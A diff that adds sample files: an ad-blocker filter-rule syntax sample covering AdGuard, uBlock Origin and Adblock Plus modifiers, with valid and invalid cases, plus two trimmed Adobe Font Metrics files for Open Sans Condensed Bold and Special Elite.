+! Badfilter
+@@||example.org^$badfilter
+
+! Redirect
+||example.org^$redirect=google-analytics.com/ga.js
+||example.org/$script,redirect-rule=noop.txt
+
+! Rewrite
+||example.org^$rewrite=abp-resource:blank-html
+
+! Helper modifiers: #23
+||example.org^$first-party
+||example.org^$xhr
+||example.org^$inline-script
+||example.org^$inline-font
+||example.org^$popunder
+
+! extension modifier: #31
+@@||taxes.hrblock.com^$extension
+
+! more modifiers aliases: #34
+||example.org^$all
+||example.org^$3p
+||example.org^$1p
+||example.org^$css
+||example.org^$frame
+||example.org^$ghide
+||example.org^$ehide
+||example.org^$shide
+||example.org^$specifichide
+
+!
+! Basic rules (invalid)
+!
+||example.org$domain=~example.org,~test.org
+||example.org$domain=~example.org.~test.org
+||testwinapp.org^$app=Skype.exe,~test.com
+||testwinapp.org^$app=Skype.exe.~com.adguard
+
+!
+! Basic rules (regex)
+!
+/banner/
+@@/banner\d+/$third-party
+
+!
+! Basic rules ($replace)
+!
+||example.org^$replace=/(<VAST[\s\S]*?>)[\s\S]*<\/VAST>\/\$1<\/VAST>/gi,third-party
+||example.org^$important,replace=/(<VAST[\s\S]*?>)[\s\S]*<\/VAST>\/\$1<\/VAST>/gi,third-party
+||example.net^$replace=/[\s\S]+//,important,domain=example.org|example.com
+@@||example.org^$replace
+
+!
+! Elemhide rules (valid)
+!
+##.valid_selector
+j.gs,46.166.167.16,example.org##banner
+example.org##valid_selector
+~example.org##valid_selector
+example.org,~hello.com##valid_selector
+example.org#@#valid_selector
+example.org#@#valid_selector
+example.org,example.com##valid_selector
+example.org,example.com,test.com##valid_selector
+business-service.me#@##banner_ad
+q.gs#@##bottom
+j.gs#@##bottom
+berlin.de##.teaser[-ext-has='>.inner>h3>a.trakkking,>.inner>h3:not(:has(>))']
+xn--fgelsng-exae.se##banner
+xn--80aneaaefcxzcih6g1e.xn--p1ai##banner
+4pda.ru##body > * > * > div > * > :not(div) > :not(div) > :not(div) > div:has(> h2:contains(/[APprmoАрРо]{8}/))
+! TLD
+google.*###center_col > #main > .dfrd > .mnr-c > .c._oc._zs
+google.*###center_col > #res > #topstuff + #search > div > #ires > #rso > #flun
+
+!
+! Elemhide rules (invalid)
+!
+! TODO: Make it invalid
+##invalid_selector { invalid part of it }
+example.org,example.com|test.com##valid_selector
+example.org,123,test.com##valid_selector
+пример.рф##banner
+|example.org##banner
+
+!
+! ExtCss rules (valid)
+!
+example.org#?#banner
+example.org,example.com#@?#banner
+example.org#$?#banner { display: none!important; }
+example.org#@$?#banner { display: none!important; }
+
+!
+! ExtCss rules (invalid)
+!
+example.org#?#banner { invalid part of it }
+example.org,example.com|test.com#@?#banner
+|example.org#?#banner
+
+!
+! CSS rules (valid)
+!
+#$#valid_style { position: absolute!important; }
+example.org#$#some_style { visibitility: hidden; }
+example.org,example.com,test.com#@$#valid_selector { visibitility: hidden; }
+aternos.org#$##detect { height: 1px!important; }
+
+!
+! CSS rules (invalid)
+!
+#$#invalid_style
+dayt.se#$##synpit { height:1px!important; }
+example.org,example.com,test.com#$@#wrong_syntax { visibitility: hidden; }
+|example.org#$#banner { }
+
+!
+! Content-filtering rules (valid)
+!
+$$script[id="hello"]
+example.org$$script[id="hello"][tag-content="hello"][max-length="hi"]
+example.org,example.com$@$script[id="hello"][tag-content="something"]
+example.org$$script
+
+!
+! Content-filtering rules (invalid)
+!
+exam$$script[id="hello"]
+$$tag-name[id=value]
+$$tag-name[id=value
+$$div[id="value"]["val"="val"]
+
+!
+! JS rules rules (valid)
+!
+#%#window.adblock = 1;
+example.org#@%#window.adblock = 1;
+example.org,hello.com#%#window.adblock = 1;
+nj.com#%#window.hello = 1;
+southwalesargus.co.uk#%#window.hello = 1;
+
+!
+! Scriptlets (AdGuard)
+!
+example.org#%#//scriptlet('name')
+example.org#%#//scriptlet('name', '')
+example.org#%#//scriptlet('name', "")
+example.org#%#//scriptlet('name', 'param')
+example.org#%#//scriptlet("abort-on-property-read", "alert")
+example.com#%#//scriptlet('abort-current-inline-script', 'document.addEventListener', '/example|test/')
+example.com#%#//scriptlet("remove-class", 'branding', "div[class^=\"inner\"]")
+
+!
+! Scriptlets (uBO)
+!
+example.org##+js(goyavelab-defuser.js)
+ze.tt##+js(addEventListener-defuser.js, /^(?:DOMContentLoaded|load)$/, =!0)
+lablue.*##+js(setTimeout-defuser.js, r(), 500)
+
+!
+! ABP snippets
+!
+reuters.com#$#abort-current-inline-script String.fromCharCode 69bfbfdbe821fab7200e9613cab94c8b
+yandex.com#$#hide-if-contains ad li.serp-item 'li.serp-item div.label'
+zhlednito.cz#$#abort-on-property-read Aloader; abort-on-property-read ExoLoader; abort-on-property-read ExoLoader.serve
+facebook.com#$#hide-if-has-and-matches-style 'abbr .timestampContent' 'div[id^="hyperfeed_story_id_"]' 'div[id*="feed_subtitle_"] > span, div[id*="feed_subtitle_"] > s' '' 'display: none'; hide-if-contains /.*/ .ego_section 'a[href^="/ad__campaign/landing.php?"]'; hide-if-contains /.*/ .ego_section 'a[href^="/ad_campaign/landing.php?"]'; hide-if-contains /.*/ .ego_section 'a[href^="/ad___campaign/landing.php?"]'
+
+!
+! HTML filtering (uBO)
+!
+express.de,giga.de,kicker.de##^script:has-text((window);)
+wetteronline.de##^script:has-text(runCount)
+finanzen.*##^script:has-text(Inject=!)
+
+!
+! $cookie rules
+!
+$cookie=__cfduid
+$cookie=test,domain=example.org
+||example.org^$cookie
+||facebook.com^$third-party,cookie=c_user
+@@||example.org^$cookie=/regular_expression/
+||example.org^$cookie=NAME;maxAge=3600;sameSite=lax
+@@||example.org^$cookie
+
+!
+! $removeparam and $queryprune rules
+!
+||example.org^$removeparam
+||example.org^$removeparam=test
+||example.org^$removeparam=~test
+||example.org^$removeparam=/^(test|test2)=/i
+||example.org^$queryprune
+||example.org^$queryprune=test
+||example.org^$queryprune=~test
+||example.org^$queryprune=/^(test|test2)=/i
+
+!
+! $removeheader rules
+!
+||destyy.com^$removeheader=request:user-agent
+||utarget.ru/ranging/*/click/$removeheader=location
+$removeheader=location,domain=zannn.top|innal.top
+/games-pc.top\/forum\/(?!login.php)/$removeheader=location
+
+!
+! $stealth rules
+!
+@@||example.org^$stealth
+@@||example.org^$stealth,domain=example.org
+
+!
+! DNS filtering modifiers
+!
+! $client
+@@||*^$client=127.0.0.1
+||example.org^$client=192.168.0.0/24
+||example.org^$client=~'Mary\'s\, John\'s\, and Boris\'s laptops',denyallow=example.org
+||example.org^$client=~Mom|~Dad|Kids
+! $ctag
+||example.org^$ctag=device_pc|device_phone
+||example.org^$ctag=~device_phone
+! $dnstype
+||example.org^$dnstype=AAAA
+||example.org^$dnstype=~A|~CNAME
+! $dnsrewrite
+||example.com^$dnsrewrite=example.net
+||example.com^$dnsrewrite=NOERROR;CNAME;example.net
+||example.com^$dnsrewrite=NOERROR;A;1.2.3.4
+||example.com^$dnsrewrite=NOERROR;SVCB;32 example.com alpn=h3
+||example.com^$dnsrewrite=NXDOMAIN;;
+
+!
+! Cosmetic rules modifiers
+!
+[$path=/test]##banner
+[$path=/test]#@#banner
+[$path=/test]#?#.banner
+[$path=/test]#@?#.banner
+[$path=/test]#$#banner { style: display: none!important; }
+[$path=/test]#@$#banner { style: display: none!important; }
+[$path=/test,app=com.google.search]##banner
+[$path=/test,domain=example.org]##banner
+[$path=/test]$$banner
+[$path=/test]example.org#%#//scriptlet('name', '')
+
+!
+! Cosmetic rules modifiers, invalid modifiers
+!
+[$randommodifier=test]##banner
\ No newline at end of file
diff --git a/samples/Adobe Font Metrics/OpenSansCondensed-Bold.afm b/samples/Adobe Font Metrics/OpenSansCondensed-Bold.afm
new file mode 100644
index 0000000000..3b10fc669c
--- /dev/null
+++ b/samples/Adobe Font Metrics/OpenSansCondensed-Bold.afm	
@@ -0,0 +1,69 @@
+StartFontMetrics 2.0
+Comment Generated by FontForge 20170719
+Comment Creation Date: Sun Jul 23 19:47:25 2017
+FontName OpenSansCondensed-Bold
+FullName Open Sans Condensed Bold
+FamilyName Open Sans Condensed
+Weight Bold
+Notice (Digitized data copyright (c) 2010-2011, Google Corporation.)
+ItalicAngle 0
+IsFixedPitch false
+UnderlinePosition -205
+UnderlineThickness 102
+Version 1.11
+EncodingScheme ISO10646-1
+FontBBox -667 -290 1046 1062
+CapHeight 714
+XHeight 544
+Ascender 760
+Descender -240
+StartCharMetrics 939
+C 32 ; WX 247 ; N space ; B 0 0 0 0 ;
+C 33 ; WX 270 ; N exclam ; B 54 -14 216 714 ;
+C 34 ; WX 445 ; N quotedbl ; B 59 456 388 714 ;
+C 35 ; WX 543 ; N numbersign ; B 20 0 525 714 ;
+C 36 ; WX 462 ; N dollar ; B 36 -59 427 760 ;
+C 37 ; WX 758 ; N percent ; B 30 -9 729 725 ;
+C 38 ; WX 581 ; N ampersand ; B 28 -10 572 725 ;
+C 39 ; WX 246 ; N quotesingle ; B 59 456 188 714 ;
+C -1 ; WX 462 ; N six.os ; B 36 -10 427 724 ;
+C -1 ; WX 420 ; N seven.os ; B 19 -170 402 544 ;
+C -1 ; WX 462 ; N eight.os ; B 35 -10 429 724 ;
+C -1 ; WX 461 ; N nine.os ; B 33 -182 424 564 ;
+C -1 ; WX 496 ; N g.alt ; B 36 -241 442 555 ;
+C -1 ; WX 496 ; N gcircumflex.alt ; B 36 -241 442 767 ;
+C -1 ; WX 496 ; N gbreve.alt ; B 36 -241 442 766 ;
+C -1 ; WX 496 ; N gdot.alt ; B 36 -241 442 756 ;
+C -1 ; WX 496 ; N gcommaaccent.alt ; B 36 -241 442 767 ;
+C -1 ; WX 0 ; N cyrotmarkcomb ; B -203 591 203 714 ;
+EndCharMetrics
+StartKernData
+StartKernPairs 15878
+KPX quotedbl uni1ECA 20
+KPX quotedbl uni1EC8 20
+KPX quotedbl Idotaccent 20
+KPX quotedbl Iogonek 20
+KPX quotedbl Imacron 20
+KPX quotedbl Idieresis 20
+KPX quotedbl Icircumflex 20
+KPX quotedbl Iacute 20
+KPX quotedbl Igrave 20
+KPX quotedbl I 20
+KPX quotedbl uni1EF9 20
+KPX quoteleft q -20
+KPX quoteleft o -20
+KPX quoteleft g -9
+KPX quoteleft e -20
+KPX quoteleft d -20
+KPX quoteleft c -20
+KPX quoteleft Z 20
+KPX Delta C -9
+KPX Delta A -20
+KPX Delta question 20
+KPX Delta period -41
+KPX Delta comma -41
+KPX Delta quotesingle 41
+KPX Delta quotedbl 41
+EndKernPairs
+EndKernData
+EndFontMetrics
diff --git a/samples/Adobe Font Metrics/SpecialElite.afm b/samples/Adobe Font Metrics/SpecialElite.afm
new file mode 100644
index 0000000000..edc03ad870
--- /dev/null
+++ b/samples/Adobe Font Metrics/SpecialElite.afm	
@@ -0,0 +1,464 @@
+StartFontMetrics 2.0
+Comment Generated by FontForge 20170719
+Comment Creation Date: Sun Jul 23 19:52:19 2017
+FontName SpecialElite-Regular
+FullName Special Elite
+FamilyName Special Elite
+Weight Book
+Notice (Copyright (c) 2010 by Brian J. Bonislawsky DBA Astigmatic (AOETI). All rights reserved. Available under the Apache 2.0 licence.http://www.apache.org/licenses/LICENSE-2.0.html)
+ItalicAngle 0
+IsFixedPitch false
+UnderlinePosition -133
+UnderlineThickness 20
+Version 1.000
+EncodingScheme ISO10646-1
+FontBBox -33 -322 1052 959
+CapHeight 714
+XHeight 487
+Ascender 688
+Descender -225
+StartCharMetrics 371
+C 32 ; WX 292 ; N space ; B 0 0 0 0 ;
+C 33 ; WX 276 ; N exclam ; B 73 0 207 702 ;
+C 34 ; WX 352 ; N quotedbl ; B 48 449 295 704 ;
+C 35 ; WX 554 ; N numbersign ; B 31 -2 524 713 ;
+C 36 ; WX 526 ; N dollar ; B 31 -201 498 919 ;
+C 37 ; WX 666 ; N percent ; B 32 -186 642 872 ;
+C 38 ; WX 676 ; N ampersand ; B 31 -5 645 705 ;
+C 39 ; WX 196 ; N quotesingle ; B 48 449 143 703 ;
+C 40 ; WX 279 ; N parenleft ; B 55 -71 243 757 ;
+C 41 ; WX 281 ; N parenright ; B 37 -59 229 770 ;
+C 42 ; WX 522 ; N asterisk ; B 32 276 493 707 ;
+C 43 ; WX 496 ; N plus ; B 29 131 465 560 ;
+C 44 ; WX 336 ; N comma ; B 39 -197 290 251 ;
+C 45 ; WX 636 ; N hyphen ; B 63 273 573 397 ;
+C 46 ; WX 349 ; N period ; B 52 -3 298 245 ;
+C 47 ; WX 557 ; N slash ; B 23 -41 536 760 ;
+C 48 ; WX 610 ; N zero ; B 55 0 560 720 ;
+C 49 ; WX 569 ; N one ; B 27 -12 572 712 ;
+C 50 ; WX 573 ; N two ; B 50 -25 541 680 ;
+C 51 ; WX 557 ; N three ; B 44 -25 514 694 ;
+C 52 ; WX 612 ; N four ; B 15 4 584 708 ;
+C 53 ; WX 537 ; N five ; B 47 0 505 690 ;
+C 54 ; WX 588 ; N six ; B 48 -10 548 707 ;
+C 55 ; WX 555 ; N seven ; B 15 -34 549 734 ;
+C 56 ; WX 598 ; N eight ; B 51 1 551 720 ;
+C 57 ; WX 584 ; N nine ; B 48 -2 539 715 ;
+C 58 ; WX 343 ; N colon ; B 51 -3 297 518 ;
+C 59 ; WX 328 ; N semicolon ; B 45 -197 297 518 ;
+C 60 ; WX 463 ; N less ; B 31 120 401 565 ;
+C 61 ; WX 636 ; N equal ; B 63 186 573 513 ;
+C 62 ; WX 463 ; N greater ; B 62 120 433 565 ;
+C 63 ; WX 470 ; N question ; B 34 2 442 729 ;
+C 64 ; WX 665 ; N at ; B 46 -4 618 680 ;
+C 65 ; WX 549 ; N A ; B -1 -16 550 703 ;
+C 66 ; WX 604 ; N B ; B 29 -6 557 704 ;
+C 67 ; WX 579 ; N C ; B 46 -13 531 700 ;
+C 68 ; WX 622 ; N D ; B 36 -17 579 713 ;
+C 69 ; WX 638 ; N E ; B 38 -16 587 691 ;
+C 70 ; WX 605 ; N F ; B 29 -9 595 709 ;
+C 71 ; WX 615 ; N G ; B 45 -3 586 710 ;
+C 72 ; WX 652 ; N H ; B 40 -20 622 690 ;
+C 73 ; WX 495 ; N I ; B 26 -24 469 710 ;
+C 74 ; WX 541 ; N J ; B 16 -3 539 703 ;
+C 75 ; WX 582 ; N K ; B 28 -5 584 711 ;
+C 76 ; WX 602 ; N L ; B 23 -14 583 718 ;
+C 77 ; WX 697 ; N M ; B 46 -10 655 704 ;
+C 78 ; WX 627 ; N N ; B 41 -15 595 700 ;
+C 79 ; WX 616 ; N O ; B 42 -30 574 702 ;
+C 80 ; WX 553 ; N P ; B 30 -12 527 689 ;
+C 81 ; WX 602 ; N Q ; B 42 -98 571 711 ;
+C 82 ; WX 636 ; N R ; B 14 -9 624 706 ;
+C 83 ; WX 588 ; N S ; B 51 -13 547 690 ;
+C 84 ; WX 594 ; N T ; B 25 1 564 707 ;
+C 85 ; WX 621 ; N U ; B 24 -6 611 710 ;
+C 86 ; WX 611 ; N V ; B -1 -15 614 726 ;
+C 87 ; WX 643 ; N W ; B 8 0 614 689 ;
+C 88 ; WX 582 ; N X ; B 3 -1 580 697 ;
+C 89 ; WX 561 ; N Y ; B -21 -2 562 719 ;
+C 90 ; WX 592 ; N Z ; B 49 -1 551 709 ;
+C 91 ; WX 312 ; N bracketleft ; B 85 -72 297 754 ;
+C 92 ; WX 557 ; N backslash ; B 21 -41 534 760 ;
+C 249 ; WX 639 ; N ugrave ; B 5 -28 624 679 ;
+C 250 ; WX 639 ; N uacute ; B 5 -28 624 682 ;
+C 251 ; WX 639 ; N ucircumflex ; B 5 -28 624 691 ;
+C 252 ; WX 639 ; N udieresis ; B 5 -28 624 649 ;
+C 253 ; WX 592 ; N yacute ; B 0 -232 596 666 ;
+C 254 ; WX 552 ; N thorn ; B -33 -221 512 699 ;
+C 255 ; WX 592 ; N ydieresis ; B 0 -232 596 643 ;
+C -1 ; WX 549 ; N Amacron ; B -1 -16 550 809 ;
+C -1 ; WX 565 ; N amacron ; B 38 -6 561 619 ;
+C -1 ; WX 549 ; N Abreve ; B -1 -16 550 890 ;
+C -1 ; WX 565 ; N abreve ; B 38 -6 561 686 ;
+C -1 ; WX 549 ; N Aogonek ; B -1 -138 589 703 ;
+C -1 ; WX 565 ; N aogonek ; B 38 -118 624 502 ;
+C -1 ; WX 579 ; N Cacute ; B 46 -13 531 900 ;
+C -1 ; WX 547 ; N cacute ; B 39 -22 506 693 ;
+C -1 ; WX 579 ; N Ccircumflex ; B 46 -13 531 890 ;
+C -1 ; WX 547 ; N ccircumflex ; B 39 -22 506 689 ;
+C -1 ; WX 579 ; N Cdotaccent ; B 46 -13 531 859 ;
+C -1 ; WX 547 ; N cdotaccent ; B 39 -22 506 657 ;
+C -1 ; WX 579 ; N Ccaron ; B 46 -13 531 918 ;
+C -1 ; WX 547 ; N ccaron ; B 39 -22 506 710 ;
+C -1 ; WX 622 ; N Dcaron ; B 36 -17 579 924 ;
+C -1 ; WX 750 ; N dcaron ; B 40 -26 716 704 ;
+C -1 ; WX 623 ; N Dcroat ; B 36 -17 580 713 ;
+C -1 ; WX 603 ; N dcroat ; B 40 -26 597 714 ;
+C -1 ; WX 638 ; N Emacron ; B 38 -16 587 798 ;
+C -1 ; WX 543 ; N emacron ; B 40 -23 501 616 ;
+C -1 ; WX 638 ; N Ebreve ; B 38 -16 587 876 ;
+C -1 ; WX 543 ; N ebreve ; B 40 -23 501 683 ;
+C -1 ; WX 638 ; N Edotaccent ; B 38 -16 587 848 ;
+C -1 ; WX 543 ; N edotaccent ; B 40 -23 501 659 ;
+C -1 ; WX 638 ; N Eogonek ; B 38 -113 610 691 ;
+C -1 ; WX 543 ; N eogonek ; B 40 -145 501 499 ;
+C -1 ; WX 638 ; N Ecaron ; B 38 -16 587 913 ;
+C -1 ; WX 543 ; N ecaron ; B 40 -23 501 714 ;
+C -1 ; WX 615 ; N Gcircumflex ; B 45 -3 586 906 ;
+C -1 ; WX 583 ; N gcircumflex ; B 42 -224 562 676 ;
+C -1 ; WX 615 ; N Gbreve ; B 45 -3 586 899 ;
+C -1 ; WX 583 ; N gbreve ; B 42 -224 562 667 ;
+C -1 ; WX 615 ; N Gdotaccent ; B 45 -3 586 871 ;
+C -1 ; WX 583 ; N gdotaccent ; B 42 -224 562 637 ;
+C -1 ; WX 615 ; N Gcommaaccent ; B 45 -253 586 710 ;
+C -1 ; WX 583 ; N gcommaaccent ; B 42 -224 562 734 ;
+C -1 ; WX 652 ; N Hcircumflex ; B 40 -20 622 897 ;
+C -1 ; WX 616 ; N hcircumflex ; B 5 -29 601 688 ;
+C -1 ; WX 652 ; N Hbar ; B 40 -20 622 690 ;
+C -1 ; WX 616 ; N hbar ; B 5 -29 601 683 ;
+C -1 ; WX 495 ; N Itilde ; B 26 -24 469 859 ;
+C -1 ; WX 568 ; N itilde ; B 36 -42 568 615 ;
+C -1 ; WX 495 ; N Imacron ; B 26 -24 469 819 ;
+C -1 ; WX 568 ; N imacron ; B 36 -42 568 585 ;
+C -1 ; WX 495 ; N Ibreve ; B 26 -24 469 901 ;
+C -1 ; WX 568 ; N ibreve ; B 36 -42 568 661 ;
+C -1 ; WX 495 ; N Iogonek ; B 26 -154 469 710 ;
+C -1 ; WX 568 ; N iogonek ; B 36 -149 568 674 ;
+C -1 ; WX 495 ; N Idotaccent ; B 26 -24 469 873 ;
+C -1 ; WX 568 ; N dotlessi ; B 36 -42 568 468 ;
+C -1 ; WX 1036 ; N IJ ; B 26 -24 1034 710 ;
+C -1 ; WX 983 ; N ij ; B 36 -236 913 683 ;
+C -1 ; WX 541 ; N Jcircumflex ; B 16 -3 539 913 ;
+C -1 ; WX 415 ; N jcircumflex ; B -12 -236 405 699 ;
+C -1 ; WX 582 ; N Kcommaaccent ; B 28 -253 584 711 ;
+C -1 ; WX 620 ; N kcommaaccent ; B 11 -253 600 683 ;
+C -1 ; WX 620 ; N kgreenlandic ; B 11 -28 600 482 ;
+C -1 ; WX 602 ; N Lacute ; B 23 -14 583 923 ;
+C -1 ; WX 540 ; N lacute ; B 4 -28 538 902 ;
+C -1 ; WX 602 ; N Lcommaaccent ; B 23 -267 583 718 ;
+C -1 ; WX 540 ; N lcommaaccent ; B 4 -267 538 682 ;
+C -1 ; WX 602 ; N Lcaron ; B 23 -14 583 794 ;
+C -1 ; WX 582 ; N lcaron ; B 4 -28 549 704 ;
+C -1 ; WX 781 ; N Ldot ; B 23 -14 748 718 ;
+C -1 ; WX 571 ; N ldotaccent ; B 4 -28 538 682 ;
+C -1 ; WX 603 ; N Lslash ; B 24 -14 584 718 ;
+C -1 ; WX 541 ; N lslash ; B 4 -28 538 682 ;
+C -1 ; WX 627 ; N Nacute ; B 41 -15 595 894 ;
+C -1 ; WX 632 ; N nacute ; B 32 -23 612 696 ;
+C -1 ; WX 627 ; N Ncommaaccent ; B 41 -268 595 700 ;
+C -1 ; WX 632 ; N ncommaaccent ; B 32 -268 612 491 ;
+C -1 ; WX 627 ; N Ncaron ; B 41 -15 595 900 ;
+C -1 ; WX 632 ; N ncaron ; B 32 -23 612 712 ;
+C -1 ; WX 815 ; N napostrophe ; B 34 -23 795 704 ;
+C -1 ; WX 627 ; N Eng ; B 41 -320 595 700 ;
+C -1 ; WX 605 ; N eng ; B 32 -322 534 491 ;
+C -1 ; WX 616 ; N Omacron ; B 42 -30 574 815 ;
+C -1 ; WX 583 ; N omacron ; B 40 -34 543 598 ;
+C -1 ; WX 616 ; N Obreve ; B 42 -30 574 891 ;
+C -1 ; WX 583 ; N obreve ; B 40 -34 543 675 ;
+C -1 ; WX 616 ; N Ohungarumlaut ; B 42 -30 574 907 ;
+C -1 ; WX 583 ; N ohungarumlaut ; B 40 -34 545 693 ;
+C -1 ; WX 1018 ; N OE ; B 42 -30 967 702 ;
+C -1 ; WX 958 ; N oe ; B 40 -34 916 499 ;
+C -1 ; WX 636 ; N Racute ; B 14 -9 624 910 ;
+C -1 ; WX 579 ; N racute ; B 28 -16 566 693 ;
+C -1 ; WX 636 ; N Rcommaaccent ; B 14 -268 624 706 ;
+C -1 ; WX 579 ; N rcommaaccent ; B 28 -272 566 495 ;
+C -1 ; WX 636 ; N Rcaron ; B 14 -9 624 927 ;
+C -1 ; WX 579 ; N rcaron ; B 28 -16 566 698 ;
+C -1 ; WX 588 ; N Sacute ; B 51 -13 547 900 ;
+C -1 ; WX 519 ; N sacute ; B 48 -31 481 713 ;
+C -1 ; WX 588 ; N Scircumflex ; B 51 -13 547 904 ;
+C -1 ; WX 519 ; N scircumflex ; B 48 -31 481 710 ;
+C -1 ; WX 588 ; N Scedilla ; B 51 -145 547 690 ;
+C -1 ; WX 519 ; N scedilla ; B 48 -145 481 496 ;
+C -1 ; WX 588 ; N Scaron ; B 51 -13 547 904 ;
+C -1 ; WX 519 ; N scaron ; B 48 -31 481 710 ;
+C -1 ; WX 594 ; N Tcommaaccent ; B 25 -263 564 707 ;
+C -1 ; WX 510 ; N tcommaaccent ; B 0 -282 488 694 ;
+C -1 ; WX 594 ; N Tcaron ; B 25 1 564 920 ;
+C -1 ; WX 713 ; N tcaron ; B 0 -34 680 704 ;
+C -1 ; WX 594 ; N Tbar ; B 25 1 564 707 ;
+C -1 ; WX 510 ; N tbar ; B 0 -34 488 694 ;
+C -1 ; WX 621 ; N Utilde ; B 24 -6 611 850 ;
+C -1 ; WX 638 ; N utilde ; B 5 -28 624 636 ;
+C -1 ; WX 621 ; N Umacron ; B 24 -6 611 811 ;
+C -1 ; WX 638 ; N umacron ; B 5 -28 624 587 ;
+C -1 ; WX 621 ; N Ubreve ; B 24 -6 611 888 ;
+C -1 ; WX 638 ; N ubreve ; B 5 -28 624 665 ;
+C -1 ; WX 621 ; N Uring ; B 24 -6 611 959 ;
+C -1 ; WX 638 ; N uring ; B 5 -28 624 738 ;
+C -1 ; WX 621 ; N Uhungarumlaut ; B 24 -6 611 918 ;
+C -1 ; WX 638 ; N uhungarumlaut ; B 5 -28 624 691 ;
+C -1 ; WX 621 ; N Uogonek ; B 24 -136 611 710 ;
+C -1 ; WX 638 ; N uogonek ; B 5 -147 671 487 ;
+C -1 ; WX 643 ; N Wcircumflex ; B 8 0 614 901 ;
+C -1 ; WX 678 ; N wcircumflex ; B 5 -10 674 685 ;
+C -1 ; WX 561 ; N Ycircumflex ; B -21 -2 562 934 ;
+C -1 ; WX 592 ; N ycircumflex ; B 0 -232 596 691 ;
+C -1 ; WX 561 ; N Ydieresis ; B -21 -2 562 885 ;
+C -1 ; WX 592 ; N Zacute ; B 49 -1 551 905 ;
+C -1 ; WX 528 ; N zacute ; B 45 -22 487 684 ;
+C -1 ; WX 592 ; N Zdotaccent ; B 49 -1 551 866 ;
+C -1 ; WX 528 ; N zdotaccent ; B 45 -22 487 632 ;
+C -1 ; WX 592 ; N Zcaron ; B 49 -1 551 917 ;
+C -1 ; WX 528 ; N zcaron ; B 45 -22 487 688 ;
+C -1 ; WX 915 ; N AEacute ; B -11 -16 864 904 ;
+C -1 ; WX 888 ; N aeacute ; B 38 -23 846 670 ;
+C -1 ; WX 617 ; N Oslashacute ; B 43 -41 574 912 ;
+C -1 ; WX 583 ; N oslashacute ; B 40 -73 543 697 ;
+C -1 ; WX 415 ; N dotlessj ; B -12 -236 344 478 ;
+C -1 ; WX 281 ; N circumflex ; B 0 558 282 746 ;
+C -1 ; WX 281 ; N caron ; B 0 558 282 746 ;
+C -1 ; WX 281 ; N breve ; B 0 585 282 746 ;
+C -1 ; WX 132 ; N dotaccent ; B 0 600 133 729 ;
+C -1 ; WX 214 ; N ring ; B 0 547 215 780 ;
+C -1 ; WX 211 ; N ogonek ; B 0 -145 212 13 ;
+C -1 ; WX 283 ; N tilde ; B 0 583 284 701 ;
+C -1 ; WX 352 ; N hungarumlaut ; B 0 591 353 763 ;
+C -1 ; WX 185 ; N uni0312 ; B 28 474 152 694 ;
+C -1 ; WX 185 ; N uni0315 ; B 38 470 162 690 ;
+C -1 ; WX 192 ; N uni0326 ; B 32 -253 156 -33 ;
+C -1 ; WX 666 ; N mu ; B 24 -219 643 487 ;
+C -1 ; WX 643 ; N Wgrave ; B 8 0 614 895 ;
+C -1 ; WX 678 ; N wgrave ; B 5 -10 674 688 ;
+C -1 ; WX 643 ; N Wacute ; B 8 0 614 898 ;
+C -1 ; WX 678 ; N wacute ; B 5 -10 674 682 ;
+C -1 ; WX 643 ; N Wdieresis ; B 8 0 614 868 ;
+C -1 ; WX 678 ; N wdieresis ; B 5 -10 674 649 ;
+C -1 ; WX 561 ; N Ygrave ; B -21 -2 562 900 ;
+C -1 ; WX 592 ; N ygrave ; B 0 -232 596 666 ;
+C -1 ; WX 611 ; N endash ; B 50 270 551 391 ;
+C -1 ; WX 1113 ; N emdash ; B 51 270 1052 391 ;
+C -1 ; WX 265 ; N quoteleft ; B 41 390 217 704 ;
+C -1 ; WX 264 ; N quoteright ; B 54 390 230 704 ;
+C -1 ; WX 274 ; N quotesinglbase ; B 46 -138 223 176 ;
+C -1 ; WX 470 ; N quotedblleft ; B 41 390 422 704 ;
+C -1 ; WX 469 ; N quotedblright ; B 54 390 436 704 ;
+C -1 ; WX 479 ; N quotedblbase ; B 46 -138 428 176 ;
+C -1 ; WX 389 ; N dagger ; B 30 -16 359 724 ;
+C -1 ; WX 396 ; N daggerdbl ; B 35 -16 364 728 ;
+C -1 ; WX 316 ; N bullet ; B 50 246 266 479 ;
+C -1 ; WX 1063 ; N ellipsis ; B 52 -3 1016 245 ;
+C -1 ; WX 897 ; N perthousand ; B 33 -230 873 828 ;
+C -1 ; WX 296 ; N guilsinglleft ; B 44 149 232 434 ;
+C -1 ; WX 295 ; N guilsinglright ; B 63 149 251 434 ;
+C -1 ; WX 486 ; N fraction ; B -11 -53 501 748 ;
+C -1 ; WX 732 ; N Euro ; B 31 71 683 590 ;
+C -1 ; WX 757 ; N trademark ; B 60 303 703 693 ;
+C -1 ; WX 585 ; N partialdiff ; B 36 -47 553 772 ;
+C -1 ; WX 564 ; N product ; B 26 -17 534 707 ;
+C -1 ; WX 577 ; N minus ; B 63 282 514 395 ;
+C -1 ; WX 565 ; N approxequal ; B 59 137 513 522 ;
+C -1 ; WX 593 ; N notequal ; B 44 71 554 644 ;
+C -1 ; WX 1041 ; N fi ; B 20 -42 1041 702 ;
+C -1 ; WX 1013 ; N fl ; B 20 -29 1011 702 ;
+C -1 ; WX 292 ; N .notdef ; B 0 0 0 0 ;
+C -1 ; WX 0 ; N .null ; B 0 0 0 0 ;
+C -1 ; WX 292 ; N nonmarkingreturn ; B 0 0 0 0 ;
+EndCharMetrics
+StartKernData
+StartKernPairs 6408
+KPX quotedbl period -104
+KPX quotedbl comma -103
+KPX quotedbl Jcircumflex -34
+KPX quotedbl Aogonek -31
+KPX quotedbl Abreve -31
+KPX quotedbl Amacron -31
+KPX quotedbl AEacute -31
+KPX quotedbl Aacute -31
+KPX quotedbl Acircumflex -31
+KPX quotedbl Atilde -31
+KPX quotedbl Agrave -31
+KPX quotedbl Aring -31
+KPX quotedbl Adieresis -31
+KPX quotedbl AE -31
+KPX quotedbl J -34
+KPX quotedbl A -31
+KPX quotedbl quotedblbase -117
+KPX quotedbl quotesinglbase -117
+KPX quotedbl ellipsis -104
+KPX quotedbl slash -73
+KPX quotedbl ampersand -22
+KPX quotedbl four -27
+KPX ampersand Ycircumflex -40
+KPX ampersand Ygrave -40
+KPX ampersand Ydieresis -40
+KPX ampersand Yacute -40
+KPX ampersand Y -40
+KPX ampersand V -36
+KPX quotesingle period -97
+KPX quotesingle comma -97
+KPX quotesingle Jcircumflex -34
+KPX quotesingle Aogonek -31
+KPX quotesingle Abreve -31
+KPX quotesingle Amacron -31
+KPX hyphen T -28
+KPX hyphen one -68
+KPX hyphen B -25
+KPX hyphen seven -56
+KPX slash rcommaaccent -27
